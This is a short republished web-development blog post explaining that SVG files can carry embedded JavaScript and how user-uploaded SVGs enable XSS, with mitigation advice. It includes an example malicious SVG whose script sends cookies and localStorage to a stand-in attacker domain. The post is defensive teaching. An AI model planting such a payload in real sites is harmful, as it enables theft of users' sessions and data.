JavaScript in SVGs

Spread the love
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  

SVGs are such an amazing tool for creating custom fonts, animations, size-reduced graphics, and more. They’re part HTML, part image, and all awesome. Many websites have moved toward SVG instead of JPG, GIF, and PNG due to the flexibility that SVG provides.

Whats one example of that flexibility? Did you know that you can embed JavaScript directly in your SVG files:

<svg xmlns=”http://www.w3.org/2000/svg” viewBox=”0 0 100 100″>
<path d=”M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z” fill=”#CCC” stroke=”#DDD” stroke-width=”2″ stroke-linejoin=”round”/>
<path d=”M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z” fill=”#00F”/>
<script>
alert(“Hello world”);
</script>
</svg>

That’s a cool feature but also a security issue if embedded on a page as-is. For example, if a user uploads an SVG to your website with the following code:

<svg xmlns=”http://www.w3.org/2000/svg” viewBox=”0 0 100 100″>
<path d=”M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z” fill=”#CCC” stroke=”#DDD” stroke-width=”2″ stroke-linejoin=”round”/>
<path d=”M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z” fill=”#00F”/>
<script>
// BAD! Send the user’s info to your website!
const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
document.location = “https://mybadsite.tld/stolenInfo=” + info;
</script>
</svg>

…they could steal cookies, storage, and other information via XSS. That’s a problem. One way to prevent this is stripping the JavaScript out of the SVG, but you could also embed as an <img> or as a background-image via CSS:

<img src=”/path/to/image.svg” />

When you use <img> or background-image, JavaScript is prevented from executing, making the SVG relatively safe! You should, however, still be cleansing your SVGs of bad stuff!
The post JavaScript in SVGs appeared first on David Walsh Blog.

X ITM Cloud News

Emily

Leave a Reply

Next Post

SD Times news digest: Split’s new feature flag capabilities, IBM Trsuted AI toolkits, and WhiteSource adds support for Microsoft Visual Studio

Tue Jun 30 , 2020
Spread the love          Split announced new capabilities that allow enterprises to stream feature flags to their apps in milliseconds and to export data records on demand.  As part of the new Feature Flag Data Streaming capability, Split has also included a Data Hub that gives enterprises a single place to view, query […]
X- ITM

Cloud Computing – Consultancy – Development – Hosting – APIs – Legacy Systems

X-ITM Technology helps our customers across the entire enterprise technology stack with differentiated industry solutions. We modernize IT, optimize data architectures, and make everything secure, scalable and orchestrated across public, private and hybrid clouds.

This image has an empty alt attribute; its file name is x-itmdc.jpg

The enterprise technology stack includes ITO; Cloud and Security Services; Applications and Industry IP; Data, Analytics and Engineering Services; and Advisory.

Watch an animation of  X-ITM‘s Enterprise Technology Stack

We combine years of experience running mission-critical systems with the latest digital innovations to deliver better business outcomes and new levels of performance, competitiveness and experiences for our customers and their stakeholders.

X-ITM invests in three key drivers of growth: People, Customers and Operational Execution.

The company’s global scale, talent and innovation platforms serve 6,000 private and public-sector clients in 70 countries.

X-ITM’s extensive partner network helps drive collaboration and leverage technology independence. The company has established more than 200 industry-leading global Partner Network relationships, including 15 strategic partners: Amazon Web Services, AT&T, Dell Technologies, Google Cloud, HCL, HP, HPE, IBM, Micro Focus, Microsoft, Oracle, PwC, SAP, ServiceNow and VMware

.

X ITM